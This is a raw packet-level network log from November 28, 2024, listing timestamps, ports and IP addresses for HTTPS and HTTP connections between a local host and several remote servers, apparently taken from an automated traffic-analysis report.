Nov 28, 2024 02:27:20.125586033 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.126605034 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.126687050 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.126715899 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.126796007 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.126970053 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.126988888 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.127063990 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.127063990 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.127073050 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.127149105 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.128515959 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.128530979 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.134037018 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.134054899 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.134218931 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.134226084 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.134464979 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.136699915 CET	443	49737	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.137262106 CET	49737	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.137274027 CET	443	49737	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.139192104 CET	49737	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.139197111 CET	443	49737	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.140774965 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.140808105 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.140882969 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.140882969 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.140894890 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.141092062 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.146167040 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.146203041 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.146243095 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.146250010 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.146272898 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.146291018 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.146322966 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.146506071 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.148690939 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.148716927 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.148798943 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.148799896 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.148818016 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.149364948 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.149379015 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.149405003 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.155549049 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.155572891 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.155677080 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.155677080 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.155687094 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.155981064 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.161678076 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.161699057 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.161860943 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.161871910 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.162005901 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.164695978 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.164802074 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.164891958 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.165282965 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.165429115 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.165462017 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.165613890 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.166162968 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.166351080 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.166354895 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.166512012 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.167193890 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.167201996 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.167576075 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.168159008 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.168165922 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.168193102 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.168232918 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.168241024 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.168271065 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.168323994 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.168323994 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.168334007 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.168358088 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.168371916 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.168459892 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.168459892 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.169442892 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.169450998 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.169573069 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.172153950 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.172454119 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.172473907 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.172795057 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.172797918 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.172806978 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.172981024 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.173521996 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.173666000 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.173691988 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.174500942 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.174617052 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.174988985 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.175293922 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.175326109 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.175334930 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.175412893 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.175412893 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.175421000 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.175694942 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.175755978 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.175755978 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.175851107 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.176083088 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.177011013 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.177017927 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.177148104 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.177604914 CET	443	49738	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.177689075 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.177700043 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.177783012 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.178642035 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.178649902 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.178858995 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.179213047 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.179219961 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.179773092 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.179778099 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.180094004 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.181246042 CET	443	49739	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.183408022 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.183444977 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.183548927 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.183548927 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.183557987 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.188153982 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.188163996 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.188185930 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.188254118 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.188260078 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.188290119 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.188366890 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.193058968 CET	49738	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.193068981 CET	443	49738	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.193854094 CET	49739	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.193859100 CET	49738	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.193864107 CET	443	49738	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.193866014 CET	443	49739	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.194331884 CET	49739	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.194335938 CET	443	49739	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.194655895 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.194689035 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.194785118 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.194793940 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.194817066 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.194869041 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.251178026 CET	443	49740	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.251467943 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.251477003 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.251545906 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.251545906 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.251774073 CET	49740	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.251786947 CET	443	49740	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.251960993 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.252099991 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.252109051 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.252212048 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.252379894 CET	49740	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.252384901 CET	443	49740	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.252841949 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.253325939 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.253350019 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.253482103 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.253571987 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.253667116 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.254410028 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.254570961 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.254621029 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.254621029 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.255326986 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.255738020 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.255778074 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.256103039 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.256356001 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.256364107 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.256500006 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.257354975 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.257551908 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.258358955 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.258512974 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.258524895 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.258752108 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.259222984 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.259404898 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.259512901 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.259635925 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.260245085 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.260487080 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.260936022 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.261259079 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.261400938 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.261420012 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.261492968 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.262203932 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.262317896 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.262504101 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.262624025 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.263254881 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.263426065 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.263433933 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.263498068 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.264328003 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.264437914 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.264616966 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.264826059 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.265186071 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.265373945 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.265482903 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.265733957 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.266254902 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.266263008 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.266335011 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.267204046 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.267291069 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.267738104 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.267829895 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.268193007 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.268809080 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.268949032 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.269273996 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.269280910 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.269387007 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.270128965 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.270281076 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.270762920 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.270787001 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.270793915 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.270910025 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.270951986 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.271301031 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.271361113 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.271600962 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.271936893 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.272037983 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.272188902 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.272387028 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.272939920 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.273215055 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.273268938 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.273452044 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.273904085 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.274064064 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.274194956 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.274274111 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.274880886 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.274964094 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.275223970 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.275278091 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.275863886 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.276118040 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.276225090 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.276290894 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.276830912 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.276901007 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.277071953 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.277158022 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.277822971 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.278045893 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.278137922 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.278819084 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.278891087 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.292524099 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.292823076 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.292865992 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.293093920 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.293100119 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.293212891 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.293214083 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.293292046 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.294001102 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.294756889 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.294925928 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.295003891 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.295011044 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.295192003 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.295965910 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.296099901 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.296123981 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.296360016 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.296943903 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.297070026 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.297085047 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.297116995 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.297939062 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.298083067 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.298100948 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.298190117 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.349451065 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.349478960 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.349585056 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.349596977 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.349622011 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.349653959 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.355775118 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.355784893 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.355988979 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.356139898 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.356159925 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.356201887 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.356209040 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.356236935 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.356452942 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.356537104 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.356544018 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.356667995 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.357429028 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.357522964 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.357721090 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.357805967 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.358505964 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.358513117 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.358589888 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.359271049 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.359349966 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.359673977 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.359848976 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.360780001 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.360799074 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.360863924 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.360863924 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.361216068 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.361222982 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.361289024 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.362024069 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.362044096 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.362116098 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.362116098 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.362123966 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.362215996 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.362803936 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.362811089 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.363166094 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.363229036 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.363236904 CET	80	49723	185.215.113.206	192.168.2.6
